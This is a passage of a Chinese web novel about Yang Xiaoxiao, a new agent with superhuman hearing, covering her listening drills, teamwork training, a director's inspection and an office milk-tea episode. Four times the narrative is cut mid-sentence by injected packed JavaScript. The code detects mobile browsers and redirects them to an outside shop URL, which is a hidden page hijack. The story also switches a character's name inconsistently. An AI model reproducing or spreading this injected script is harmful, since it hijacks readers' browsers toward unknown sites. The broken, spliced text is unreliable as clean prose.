“回去吧。”陈树说,“明天还要‘上班’。” 回宿舍的路上,杨晓晓累得在车上睡着了。 张磊叫醒她时,已经到楼下了。 “听说你今天加练了?”他问。 “嗯……”杨晓晓揉着眼睛,“陈老师说我不够专注。” “正常。”张磊说,“每个听觉强化者都要过这一关。我认识一个前辈,练了半年才能完全控制。” “半年?” “你以为超能力是白给的?”张磊笑了,“越是强大的能力,越需要强大的控制力。不然就是灾难。” 杨晓晓明白了。 她的能力不是礼物,是责任。 要驾驭它,需要付出代价。 汗水,时间,努力。 她回到宿舍,瘫在床上。 闭上眼睛,脑子里还在回放城市的声音。 猫叫,婴儿哭,刹车声…… 还有陈树的话:“直到你能在菜市场级别的噪音中,精准定位五十米外的耳语。” 路还很长。 但至少,她在走。 一步一步。 虽然慢,但稳。 她睡着了。 梦里,她站在一个巨大的声音迷宫里。 四面八方都是声音的通道。 她要找到正确的路。 找啊找。 找啊找。 17. 加练内容是听城市声音 周五晚上,天台。 杨晓晓裹着厚外套,还是觉得冷。 深秋的风像刀子,刮在脸上生疼。 但陈树说,恶劣环境也是训练的一部分——“难道敌人会挑个风和日丽的日子来袭击你?” 有道理。 所以她站在这儿,冻得瑟瑟发抖,还要集中注意力“听”城市的声音。 “今晚的目标。”陈树递给她一张纸,“从城市噪音里找出:三辆引擎有问题的汽车,两个在吵架的情侣,一个在偷偷哭的人,还有……一只在唱歌的鸟。” 杨晓晓看着纸条,嘴角抽搐。 “唱歌的鸟?” “对。”陈树点头,“不是普通的鸟叫,是真的在‘唱歌’——有旋律的那种。我知道有只夜莺经常在公园出没,你试试能不能找到。” 这难度……又升级了。 不仅要找特定的声音类型,还要分辨声音的质量。 “开始吧。”陈树看了眼手表,“计时。” 杨晓晓闭上眼睛,深吸一口气。 冷空气灌入肺里,让她清醒了一些。 她开始“扫描”。 首先找引擎有问题的汽车。 这种声音比较好辨认:异常的抖动声、噗噗的排气声、或者尖锐的摩擦声。 她先过滤掉正常的引擎声——那些平稳的、规律的嗡鸣。 然后寻找“异常”。 很快,她找到了第一辆:在三条街外,一辆老旧的出租车,引擎发出“咔哒咔哒”的杂音。 第二辆:在更远的公路上,一辆货车,排气声特别大。 第三辆:就在楼下街边,一辆私家车刚启动,发出刺耳的尖啸,可能是皮带问题。 “三辆汽车,找到了。”她汇报。 “用时四分半。”陈树记录,“继续。” 接下来找吵架的情侣。 这个……有点侵犯隐私的感觉。 但她现在是训练,是“合法窃听”。 她调整心态,开始寻找那些语气激烈、音量拔高的对话。 找到了第一对:在某个小区里,男女声在争执,内容是关于“你妈又来了”。 第二对:在公园长椅上,声音压得比较低,但能听出火药味:“你到底爱不爱我?”“你能不能别问了!” “两对情侣,找到了。”她说。 “用时三分钟。”陈树说,“不错,速度有提升。继续,找偷偷哭的人。” 这个最难。 哭的人通常会压抑声音,或者躲在隐蔽的地方。 她需要听那些极轻微的抽泣、擤鼻涕的声音,以及……那种压抑的悲伤的氛围? 听起来很玄乎,但她确实能感觉到。 有些人哭的时候,连呼吸的节奏都不一样。 她仔细“扫描”。 公园角落,有个女孩在低声啜泣,旁边有朋友在安慰。 居民楼里,有个中年男人在阳台上抽烟,偶尔抹一下眼睛。 更远的地方,医院病房,有病人在默默流泪。 她选了那个独自在阳台抽烟的男人。 “找到了,一个在偷偷哭的人。” “描述一下你判断的依据。”陈树说。 “呼吸节奏不规律,有轻微的抽鼻声,还有……叹气的声音特别重。”杨晓晓说,“感觉是那种不想让人知道的悲伤。” 陈树点点头:“很好,开始有‘质感’的感知了。最后,唱歌的鸟。” 这个纯靠运气。 夜莺不是每天都会唱,就算唱了,在城市噪音中也很难捕捉。 杨晓晓把听力调到最敏感的状态。 像一张细密的网,撒向声音的海洋。 她听到各种各样的鸟叫:麻雀的叽喳,乌鸦的嘎嘎,鸽子的咕咕…… 但没有“唱歌”的。 那种有旋律的、婉转的鸣叫。 时间一分一秒过去。 五分钟,十分钟…… 她冻得脚都麻了,还是没找到。 “可能今晚它没唱。”陈树说,“这个可以放……” “等等。”杨晓晓突然打断他。 她听到了。 极其微弱,像从很远很远的地方传来。 但确实是……旋律。 不是人类音乐的旋律,是鸟鸣组成的、自然的旋律。 高低起伏,婉转悠扬。 “在……西边,大概两公里外,公园的树林里。”杨晓晓睁开眼睛,兴奋地说,“我听到了!真的在唱歌!” 陈树看了看时间:“用时十六分钟。总成绩:良好。” 杨晓晓松了口气,感觉整个人都快冻僵了。 “回去吧。”陈树说,“明天休息,周日继续。” “周日也要练?”杨晓晓哀嚎。 “周日是自由练习。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191457|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”陈树说,“你可以自己选目标声音,或者复习这周的内容。” 那还好。 回宿舍的路上,杨晓晓在车里搓着手,哈着气。 “陈队对你挺上心的。”张磊忽然说。 “嗯?”杨晓晓没明白。 “他很少亲自带新人做这种基础训练。”张磊说,“一般都是交给铁鹰教官。但他亲自带你,说明很看重你。” 杨晓晓心里一暖。 “陈老师……是个好老师。”她说。 “是个好老师,也是个狠人。”张磊笑了,“当年他训练我的时候,把我练到吐了三次。” “那你现在……” “现在感谢他。”张磊说,“要不是那时候练得狠,我可能早就死在任务里了。” 杨晓晓沉默了。 她开始理解,为什么训练要这么严格。 因为这不是游戏。 是真会死人的。 回到宿舍,她冲了个热水澡,才感觉身体回暖。 躺在床上,她回想今晚的训练。 找汽车,找情侣,找哭的人,找唱歌的鸟…… 听起来很荒诞,但确实在提升她的能力。 她现在能更精细地控制“听力”了。 能像调收音机一样,调频率,调方向,调灵敏度。 虽然还不是很熟练,但比一周前好多了。 她拿起手机,想给陈树发条消息说谢谢。 但想了想,又放下了。 有些感谢,不用说出来。 好好训练,好好进步,就是最好的回报。 她闭上眼睛,准备睡觉。 然后她听到——不是刻意去听,是自然而然地听到——楼下有一对老夫妻在散步。 “老头子,走慢点,我腿疼。” “好好好,慢点慢点。” “明天去买条鱼吧,儿子说要回来吃饭。” “行,买条大的。” 很普通的对话。 很温暖的生活。 杨晓晓笑了笑,翻了个身。 这就是她要保护的东西吧。 这些平凡的、琐碎的、温暖的日常。 虽然她现在能做的还很少。 但总有一天…… 她会变得足够强大。 强大到可以保护这些声音。 保护这些生活。 她睡着了。 18. 第一次见到“同事” 周六下午,训练馆。 杨晓晓按照陈树的指示,来参加“新人交流会”。 说是交流会,其实就是让这期的新人互相认识,培养团队默契。 她到的时候,训练馆里已经有三个人了。 第一个是雷昊,她认识。 他正靠墙坐着,手里拿着手机,指尖时不时冒出细小的电火花,滋滋作响。 杨晓晓走近时,听到他手机里传来游戏音效——“First Blood!” “又输了!”雷昊懊恼地把手机往地上一扔。 手机摔在地上,屏幕没碎,但充电口冒出一缕青烟。 “呃……”雷昊捡起手机,有点尴尬,“好像……烧了。” 杨晓晓:“……” 第二个是林墨,她也见过。 但这次林墨不是坐在角落,而是……站在墙边? 不,不是站在墙边。 是“嵌”在墙里。 只有上半身露在外面,下半身似乎穿过了墙壁,卡在另一边。 他正努力往外拔,脸憋得通红。 “需要……帮忙吗?”杨晓晓试探着问。 “不、不用……”林墨咬牙,“我自己能……出来!” 他猛一用力,整个人从墙里“弹”了出来,踉跄几步,差点摔倒。 杨晓晓这才看清,那面墙是训练馆的特殊材料制成的,表面看起来和普通墙壁一样,但实际上有特殊的分子结构,允许林墨这样的“穿墙能力者”练习。 “又卡住了?”一个浑厚的声音从身后传来。 杨晓晓回头,看到一个高大的男人走过来。 至少一米九,身材壮硕得像堵墙,穿着紧身训练服,肌肉线条分明。 但他手里……拿着一团毛线? 正在织东西? “熊毅,代号‘磐石’,力量强化能力者。”男人自我介绍,声音和他的人一样厚重,“我在织围巾,给楼下流浪猫的窝保暖。” 他说话时,手里的织针还在飞快地动着。 杨晓晓看看他壮硕的身材,又看看他手里纤细的毛线,觉得这个画面有点……违和。 “你好,我是杨晓晓,听力强化。”她小声说。 “我知道。”熊毅笑了笑,笑容居然有点憨厚,“陈队提过你,说你是这批新人里潜力最大的。” 杨晓晓脸一红:“陈老师过奖了。” “不过奖。”熊毅认真地说,“听力强化很稀有,而且你的数据很漂亮。以后出任务,我们可能要靠你‘听风’呢。” “听风?” “就是提前预警。”雷昊插话,他已经修好了手机——用指尖的电火花点了点充电口,居然又能用了,“比如敌人从哪个方向来,有什么武器,有多少人……你要是能提前听到,我们能省很多事。” 杨晓晓明白了。 原来她的能力在团队中这么重要。 “对了,你会不会听骰子?”雷昊突然问。 “啊?” “就是听骰子在骰盅里转动的声音,判断点数。”雷昊眼睛发亮,“要是会的话,咱们可以去澳门……” “雷昊。”陈树的声音从门口传来。 雷昊立刻闭嘴,站直。 陈树走进来,身后跟着苏青禾。 “人都到齐了。”陈树扫了一眼,“今天是第一次团队认识课。你们五个人,是这期的新人,未来可能会组成一个小队,所以需要互相了解。” 他顿了顿:“先从自我介绍开始吧。除了名字和代号,说说自己的能力特点,以及……一个缺点。” 大家互相看看。 “我先来吧。”熊毅举手,“熊毅,代号‘磐石’,能力是力量强化——不是单纯力气大,是可以在短时间内让身体局部或全部肌肉密度增加,达到钢化效果。缺点……控制不好力道,经常弄坏东西。” 他说着,有点不好意思地挠挠头:“上个月训练时,不小心把门把手拽下来了。” 杨晓晓想起他刚才织毛线的灵巧样子,很难想象他能把门把手拽下来。 “该我了。”雷昊说,“雷昊,代号‘伏特’,能力是电能操控——可以产生、储存、释放电能。缺点……容易过载,比如刚才把手机充电口烧了。” “还有上个月把训练馆的电路烧了。”陈树补充。 雷昊:“……” “林墨。”林墨小声说,“代号‘回音’,能力是短距离物质穿透——就是穿墙,最大距离五米。缺点……容易卡住,尤其是遇到钢筋或者特殊材料的时候。” “比如刚才。”熊毅说。 林墨脸红了。 “苏青禾。”苏青禾声音温柔,“代号‘百灵’,能力是声音模仿和情绪影响——可以模仿任何听过的人声,也可以用声音传递情绪,影响听众。缺点……对精神力消耗很大,用多了会头疼。” “杨晓晓。”轮到她了,“杨晓晓,代号……我还没代号。能力是听力强化,可以听到半径三公里内的声音。缺点……信息过载,控制不好会头疼,还有……容易开小差。” 她说完,看了陈树一眼。 陈树点点头:“总结得不错。接下来,你们需要做一个小练习:配合。” “配合?”五个人异口同声。 “对。”陈树说,“超能力者单打独斗很难成事,必须学会配合。今天的练习很简单:熊毅,你用力量在那边墙上开一个洞。” 他指了指训练馆的一面特殊墙壁。 “林墨,你在洞出现的同时,从洞里穿过去,到达墙的另一边。” “雷昊,你在林墨穿过去后,用电能封闭洞口——不是完全封闭,是制造一个电网,让洞口暂时无法通过。” “苏青禾,你在整个过程保持对周围声音的监控,如果有人靠近,用声音影响他们,让他们忽略这里的动静。” “杨晓晓,你负责全局监听——听熊毅发力时的声音,听林墨穿墙时的声音,听雷昊放电时的声音,听周围有没有异常动静。随时汇报。” 陈树说完,看着他们:“明白了吗?” 五个人点头。 “好,准备开始。” 杨晓晓深吸一口气,闭上眼睛。 她要把“听力”分成五个频道: 频道一,熊毅那边,听他肌肉收缩、发力、击打墙壁的声音。 频道二,林墨那边,听他准备穿墙时的呼吸、心跳。 频道三,雷昊那边,听他积蓄电能时的细微噼啪声。 频道四,苏青禾那边,听她调整呼吸、准备发声的声音。 频道五,周围环境,听有没有人靠近,有没有异常。 五个频道同时监控。 这对她来说是第一次。 她集中全部注意力。 “开始!”陈树下令。 熊毅低吼一声,一拳砸向墙壁。 杨晓晓听到他肌肉纤维瞬间绷紧的声音,像弓弦拉满。 然后拳头击中墙壁——“轰!” 不是巨响,是沉闷的撞击声,墙壁裂开一个洞。 几乎同时,林墨动了。 杨晓晓听到他吸气、屏息、然后身体“融入”墙壁的细微摩擦声。 穿过去了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191458|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>雷昊指尖电光闪烁。 杨晓晓听到电流滋啦作响,然后一个电网在洞口形成,噼啪作响。 苏青禾开始哼唱一段轻柔的旋律。 杨晓晓听到那旋律像水波一样扩散出去,覆盖了周围的空间。 她同时监控着周围:走廊里有脚步声,但被苏青禾的声音影响,转了个方向,走了。 安全。 整个过程,不到十秒。 “完成!”陈树说。 杨晓晓睁开眼,看到墙上的洞,洞口的电网,还有站在墙另一边的林墨。 成功了。 “配合得不错。”陈树难得表扬,“虽然还有些生疏,但第一次能做到这样,已经很好了。” 五个人互相看看,都有点兴奋。 “这就是团队作战的感觉。”陈树说,“每个人发挥自己的特长,弥补别人的短板。熊毅的力量,林墨的渗透,雷昊的干扰,苏青禾的掩护,杨晓晓的预警——组合起来,就是一支有战斗力的队伍。” 杨晓晓忽然明白了。 她不是一个人。 她有队友。 虽然这些队友看起来都有点……不正常。 雷昊整天玩电,林墨总卡墙里,熊毅壮得像熊却在织毛线,苏青禾温柔得像邻家姐姐。 但他们都有各自的能力,各自的优点。 而她,是他们的“耳朵”。 是团队的眼睛(虽然是用听的)。 这个认知,让她心里涌起一种奇妙的归属感。 “好了,今天的课就到这里。”陈树说,“周日休息,周一继续训练。解散。” 五个人陆续离开训练馆。 熊毅对杨晓晓说:“你的听力真厉害,我刚才发力的时候,连自己都听不到那么细的声音。” “谢谢。”杨晓晓有点不好意思。 “以后多配合。”雷昊凑过来,“你要是能听到敌人子弹上膛的声音,提前告诉我,我一道雷劈死他。” “我尽量。”杨晓晓笑。 林墨小声说:“你……能不能听出我什么时候会卡住?提前告诉我,我就不穿了。” “这个……难度有点大。”杨晓晓诚实地说。 苏青禾微笑:“别听他们的。你做好自己就行。以后出任务,我们还要靠你预警呢。” 杨晓晓点点头。 回宿舍的路上,她心情很好。 第一次有了“团队”的感觉。 第一次意识到,她的能力在团队中这么重要。 她不再是一个人在战斗。 她有队友了。 虽然这些队友……确实有点怪。 但她喜欢。 因为她也怪。 大家都是“不正常”的人。 聚在一起,反而正常了。 她哼着歌,上楼,开门。 然后她听到——不是刻意去听——隔壁房间,雷昊在打电话: “妈,我在这儿挺好的……嗯,工作稳定,包吃包住……同事?都挺正常的……真的,特别正常……” 杨晓晓笑了。 正常? 这里最不正常的就是我们了好吗? 但她没拆穿。 每个人都有需要守护的谎言。 对她,对雷昊,对所有人,都是如此。 她躺在床上,想着今天的训练。 想着未来的团队作战。 想着那个隐藏在304的神秘存在。 路还很长。 但她不是一个人走了。 有队友了。 这感觉,真好。 19. 周局长的一瞥 周一,体能训练课。 杨晓晓站在跑步机上,感觉自己快死了。 铁鹰教官把速度提到了8.5公里每小时,坡度4%。 “上周是基础,这周开始提升强度。”铁鹰说得很轻松,“适应期过了,该上点量了。” 杨晓晓很想说:我觉得我还没适应。 但她没敢。 只能咬牙坚持。 跑步机的履带转动,她的腿机械地迈步。 呼吸急促,汗水顺着脸颊往下淌。 她能听到自己的心跳,像打鼓。 还能听到旁边,雷昊在做引体向上,嘴里念念有词:“一个……两个……三个……不行了……” 熊毅在举铁,杠铃片碰撞的声音沉闷有力。 林墨在练习穿墙——不,是在练习“不卡墙”,每次穿过去都松一口气。 苏青禾在跑步机另一边,呼吸平稳,步伐轻盈。 看来大家都很拼。 十分钟,杨晓晓感觉肺要炸了。 十二分钟,腿像灌了铅。 十四分钟,意识开始模糊。 “最后三十秒!”铁鹰报时。 杨晓晓闭上眼睛,凭本能坚持。 “时间到!” 跑步机停下。 她瘫倒在地,大口喘气。 铁鹰走过来,递给她毛巾:“比上周有进步,至少没哭。” 杨晓晓苦笑。 她倒是想哭,但没力气哭了。 “休息两分钟,然后做力量训练。”铁鹰走开。 杨晓晓躺在地上,看着天花板。 忽然,她听到训练馆门口有动静。 脚步声,不止一个人。 她侧过头,看到陈树陪着几个人走进来。 为首的是一个五十多岁的男人,穿着深色夹克,身姿挺拔,眼神锐利。 即使隔着一段距离,杨晓晓也能感觉到那种……气场。 不是压迫感,是一种沉稳的、厚重的、像山一样的气场。 “周局。”铁鹰立刻站直,敬礼。 其他教官也跟着敬礼。 周局? 杨晓晓想起来,陈树提过,特别事务保障局的一把手,周正浩局长。 她赶紧爬起来,和其他新人一起站好。 周正浩在训练馆里走了一圈,看了看各项训练设施,偶尔问陈树几句。 声音不高,但每个字都清晰有力。 然后他走到了新人训练区。 目光扫过五个人。 在杨晓晓身上停顿了一秒。 就一秒。 但杨晓晓感觉像被X光扫过一样,浑身上下都被看透了。 “这就是这批新人?”周正浩问陈树。 “是的周局。”陈树回答,“正在基础训练阶段。” 周正浩点点头,没说话。 又看了几秒,然后转身走了。 陈树跟上去。 等他们走出训练馆,新人们才松了口气。 “那就是周局长?”雷昊小声问,“气场好强。” “听说他以前是特种部队的,立过很多功。”熊毅说。 “他刚才看我了……”林墨声音有点抖,“我是不是训练不够认真?” “你想多了。”苏青禾安慰他,“局长就是来看看训练情况。” 杨晓晓没说话。 她还在回想周正浩看她的那一眼。 那眼神……怎么说呢。 不是审视,不是评价。 是一种……观察? 像在评估一件工具,或者……一个战士? 她不知道。 但那种感觉,让她心里一紧。 “继续训练!”铁鹰的声音把他们拉回现实。 接下来的训练,杨晓晓有点心不在焉。 她在想周局长为什么突然来视察。 是例行检查?还是有别的原因? 和她有关吗? 和304有关吗? 她想问陈树,但陈树送周局长走了,一直没回来。 训练结束,洗澡,换衣服。 走出训练馆时,陈树在门口等她。 “陈老师。”杨晓晓打招呼。 “今天表现不错。”陈树说,“周局长看了训练记录,说你进步很快。” “周局长……为什么突然来?”杨晓晓忍不住问。 “例行视察。”陈树说,“每年这个时候,他都会来看新人训练情况。” “哦……”杨晓晓松了口气。 “不过,”陈树顿了顿,“他特意问了你的情况。” 杨晓晓心又提起来了。 “问我什么?” “问你的能力数据,训练进度,心理状态。”陈树看着她,“我对他说,你很有潜力,但需要时间。” 杨晓晓沉默。 “别紧张。”陈树笑了,“周局长很重视人才,尤其是你这样的特殊能力者。他来看你,是好事。” “真的?” “真的。”陈树点头,“不过他也说了,基础要打好,不能冒进。所以接下来,你的训练可能会更严格。” 杨晓晓:“……” 她就知道。 “加油吧。”陈树拍拍她的肩,“能被周局长注意到,是你的机会。好好把握。” 说完,他走了。 杨晓晓站在原地,消化着这些话。 周局长注意到她了。 是好事,也是压力。 意味着她必须做得更好。 不能出错。 不能掉链子。 她深吸一口气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191459|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那就……做得更好。 她回到宿舍,坐在书桌前,打开训练笔记。 开始复盘今天的训练。 哪里做得好,哪里需要改进,下次怎么调整…… 她写得很认真。 写完后,她拿出那个绿萝U盘,插上电脑。 开始记录今天在深蓝科技的监听情况。 304今天很安静,没有任何异常。 但她听到了另一个声音:二楼仓库,好像有人在搬东西? 不是正常的工作时间搬运,是下班后,偷偷摸摸的。 她记下这个发现,发给陈树。 然后她开始晚上的自主练习——听城市声音,找特定目标。 今晚的目标是:找五个在唱歌的人,三只打架的狗,一辆警笛声由远及近又远去的警车。 她闭上眼睛,开始“扫描”。 歌声很好找:KTV里,街头艺人,家里洗澡时哼歌的…… 狗打架:在某个小区里,两只狗在争地盘,吠叫声激烈。 警车:听到了,从东边来,往西边去,速度很快。 用时十五分钟,全部找到。 她记录成绩,和上周对比。 有进步。 虽然慢,但有进步。 她满意地躺到床上。 然后她听到——不是刻意去听,是自然而然地听到——楼下保安亭里,两个保安在聊天。 “今天周局长来视察了。” “是啊,好久没见他来了。” “听说这批新人有几个不错的。” “那个听力特别好的小姑娘,周局长还特意问了。” “是吗?那她以后可能要重点培养了。” 杨晓晓心里一动。 连保安都知道她了? 看来周局长那一眼,确实不简单。 她翻了个身,看着天花板。 重点培养…… 意味着更多的训练,更严格的要求,更大的压力。 但也意味着……更多的机会。 更强的能力。 更好的保护自己。 她想清楚了。 压力就压力吧。 她接得住。 因为她是杨晓晓。 是那个从电梯里摔下来没死、觉醒了超能力、敢一个人去国安局“自首”的杨晓晓。 是那个体能垫底但坚持跑完、理论课开小差但愿意加练、第一次见队友就努力配合的杨晓晓。 她可能还不够强。 但她会变强的。 一定。 她闭上眼睛,睡着了。 梦里,她站在周局长面前。 周局长看着她,点了点头。 就这一个点头。 她笑了。 她知道,她及格了。 20. 用超能力订到最难抢的奶茶 周五下午三点,办公室的阳光斜斜地照进来,在杨晓晓的工位上投下一片温暖的光斑。 “啊——好想喝奶茶啊!”王姐伸了个懒腰,从隔板后探出头来,“就那家‘春风十里’,我馋了三天了。” 办公室里立刻响起一片哀嚎。 “王姐饶命,那家现在排单至少两小时起步。”小王趴在桌上,“上次我午休去排队,回来差点被陈总监抓个正着。” “是啊,外卖软件上都显示‘当前订单过多,暂不接受新订单’。”张海划拉着手机,一脸绝望。 杨晓晓默默听着,手指无意识地敲着桌面。春风十里奶茶店就在两条街外,以手作芋泥和特制奶盖闻名,自从某个美食博主推荐后,就成了这座城市的新晋网红店。 “晓晓,你想不想喝?”王姐突然点名。 “啊?我……”杨晓晓愣住。说实话,她也想,但她更想证明点什么——用自己那个最近越来越灵敏的“小能力”。 “这样吧,”她深吸一口气,“我试试看能不能订到。” 办公室里安静了一瞬。 “晓晓,你是不知道那家店有多夸张。”小王好心提醒,“我女朋友上周六排了三小时队,最后还因为芋泥卖完了哭着回来的。” 杨晓晓笑了笑,没说话。她戴上耳机,假装要听音乐,实则闭上眼睛,将注意力集中到两条街外的方向。 耳边的世界层层过滤,办公室里的键盘声、空调声、同事的低语声渐渐淡去。她的听觉像是有生命的触须,穿过墙壁,越过街道,精准地捕捉到那家奶茶店的声音。 “……芋泥要补货了,后面还能接几单?” “最多十单,今天芋泥准备得少。” “前台小姐姐,我的还要等多久啊?” “您的号码是57号,现在做到42号,大概还有二十分钟。” 店铺的喧嚣涌入耳中。杨晓晓仔细分辨着——店员制作饮品的节奏,收银机按键的声音,排队客人的叹息,还有外卖取餐员进出的脚步声。 她迅速心算:目前有五个店员在工作,平均每杯饮品制作时间两分钟,前面还有十五单,每单平均1.5杯…… “现在下单,大概要等45分钟。”她轻声说。 “什么?”王姐没听清。 杨晓晓睁开眼睛,露出一个神秘的微笑:“我说,现在下单的话,大概45分钟能送到。” “怎么可能!”张海瞪大眼睛。 杨晓晓不解释,只是打开外卖软件。果然,春风十里店铺显示“忙碌中”,但并没有关闭接单。她点击下单界面,却不急着提交,而是再次闭上眼睛。 耳机里传来店铺实时动态: “57号好了!” “外卖骑手取走38、39号订单。” “前台,45号客人要换甜度……” “糟了,封口机有点卡,等一分钟。” 杨晓晓的手指悬在“提交订单”按钮上方,耐心等待着。办公室里的同事们都好奇地围了过来,看着她这奇怪的举动。 “晓晓在干嘛?冥想式下单?”小王小声嘀咕。 “别吵她。”王姐虽然也不明白,但直觉告诉她有戏。 时间一分一秒过去。杨晓晓的额角渗出细密的汗珠——长时间集中注意力听这么远的声音,对她来说是个不小的负担。 就在这时,她耳朵捕捉到了关键信息: “芋泥补货完成!可以继续接芋泥系列了!” “好的,通知前台开接单。” “另外,新来的兼职生上手很快,现在制作速度可以提升30%。” 杨晓晓猛地睁开眼睛,手指果断按下提交键。 支付成功的提示音响起。 “好了。”她长舒一口气,摘下耳机。 “这就……好了?”张海不敢相信,“连排队时间都没有?” “等会儿看吧。”杨晓晓笑着,心里其实也有点打鼓。她的计算应该没错——在店员效率提升、芋泥补货完成、且前面订单刚好进入收尾阶段的时刻下单,应该能卡进一个最佳窗口期。 接下来的三十分钟,办公室的气氛变得微妙起来。 所有人都假装在工作,但眼角余光时不时瞥向门口。小王甚至每隔五分钟就看一次时间,小声报时:“三点二十……三点二十五……三点半了……” “完了完了,肯定没戏了。”张海叹气,“我就说那家店——” 话没说完,办公室门被敲响了。 一个穿着蓝色外卖服的小哥探头进来:“请问是王女士的奶茶订单吗?” 整个办公室炸了。 “我的天!” “真的送到了!” “这才三十分钟啊!” 王姐几乎是跳起来冲过去的:“是我是我!谢谢谢谢!” 外卖小哥擦了擦汗:“您这单运气真好,我到了店里刚好做完,都没等。平时去那家店取餐,等十几二十分钟是常事。” 王姐接过那两大袋奶茶,眼睛都笑弯了。袋子里足足装了八杯,各种口味都有,最上面两杯正是招牌的芋泥波波奶盖。 “晓晓,你太神了!”王姐递给她一杯,“快告诉我,你是不是认识那家店的老板?” 杨晓晓接过奶茶,吸管戳破塑封的那一刻,香甜的气息扑面而来。她满足地吸了一大口,这才含糊地说:“没有啊,就是……凑巧,凑巧。” “这哪是凑巧,这是超能力吧!”小王也拿到自己的那杯,“我跟我女朋友说了,她让我务必问你要订奶茶的秘诀。” “其实也没什么,”杨晓晓脑筋急转,编了个像样的理由,“我就是关注了他们店长的直播,他说每天下午三点半左右会有一波制作效率提升,因为交接班和补货都完成了。这时候下单最快。” “原来如此!”张海恍然大悟,“难怪你刚才一直等到三点十几分才下单。” 杨晓晓暗暗松了口气——这个理由不错,既解释了她的“预知”,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191460|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不暴露真实原因。 大家喝着奶茶,办公室里的气氛变得轻松愉快。王姐尤其高兴,举着奶茶杯说:“今天晓晓立大功,这顿下午茶我请了!” “王姐万岁!” “晓晓万岁!” 欢呼声中,杨晓晓低头咬着吸管,心里那点小小的得意像奶茶里的珍珠一样,一颗颗往上冒。这种感觉真好——能用这个奇怪的能力帮到别人,还不被发现。 “不过晓晓,”王姐突然凑过来,压低声音,“你刚才戴耳机闭眼睛的样子,好像在发功哦。” 杨晓晓差点被珍珠呛到:“咳咳,我、我就是习惯听着音乐集中注意力……” “开玩笑的啦。”王姐拍拍她的肩,“不过你这孩子,有时候神神秘秘的。上次打印机的事也是,这次也是。” 杨晓晓只能干笑。 这时,陈树从总监办公室走出来,看着满办公室的人都在喝奶茶,挑了挑眉:“下午茶?” “周总监,晓晓帮我们订到了春风十里!”小王嘴快,“三十分钟就送到了!” 周子扬的目光落在杨晓晓身上,停留了两秒。那眼神平静无波,却让杨晓晓心里一紧——他是不是发现了什么? 但周子扬只是点了点头:“不错。喝完收拾干净,别招蚂蚁。” “是!”众人齐声应答。 周子扬转身回办公室前,又看了杨晓晓一眼。那一眼意味深长,杨晓晓读不懂,只觉得手里的奶茶突然没那么甜了。 下班时,杨晓晓故意磨蹭到最后。等同事们都走了,她才收拾东西准备离开。刚走到门口,周子扬办公室的门开了。 “杨晓晓。” “周总监?”她转身。 周子扬靠在门框上,手里拿着车钥匙:“今天那个奶茶,真是看直播知道的?” 杨晓晓心跳漏了一拍:“是、是啊。” “春风十里店长的直播我碰巧也看过,”周子扬语气平淡,“他确实说过效率最高的是下午三点半,但那是指堂食。外卖订单要卡进那个窗口,需要对实时单量有极其精准的预估。” 杨晓晓张了张嘴,说不出话。 周子扬看着她局促的样子,嘴角似乎微微上扬了一下:“别紧张,我只是想说——干得漂亮。” 说完,他转身走了,留下杨晓晓一个人站在空荡荡的办公室里,半天没反应过来。 这是……夸奖? 她挠了挠头,忽然觉得,也许周子扬并不像表面那么冷淡。而且,他好像也在替她保守秘密? 这个念头让杨晓晓的心情又好了起来。她哼着歌走出办公楼,夕阳把她的影子拉得很长。 明天又是新的一天,不知道还有什么“小试炼”在等着她呢? 不过没关系,她现在有点信心了。这个奇怪的能力,也许并不完全是坏事。 至少,能喝到最难抢的奶茶,不是吗? 杨晓晓笑着,又吸了一口手里还没喝完的奶茶,甜意一直蔓延到心里。 21. 听出打印机要造反 周一早晨的财务室,弥漫着一种与往常不同的紧张气息。 杨晓晓抱着一叠报销单站在门口时,就听到了里面不同寻常的“交响乐”:键盘敲击声比平时急促,计算器的按键音此起彼伏,还有财务主管老赵那标志性的、遇到麻烦时的咂嘴声。 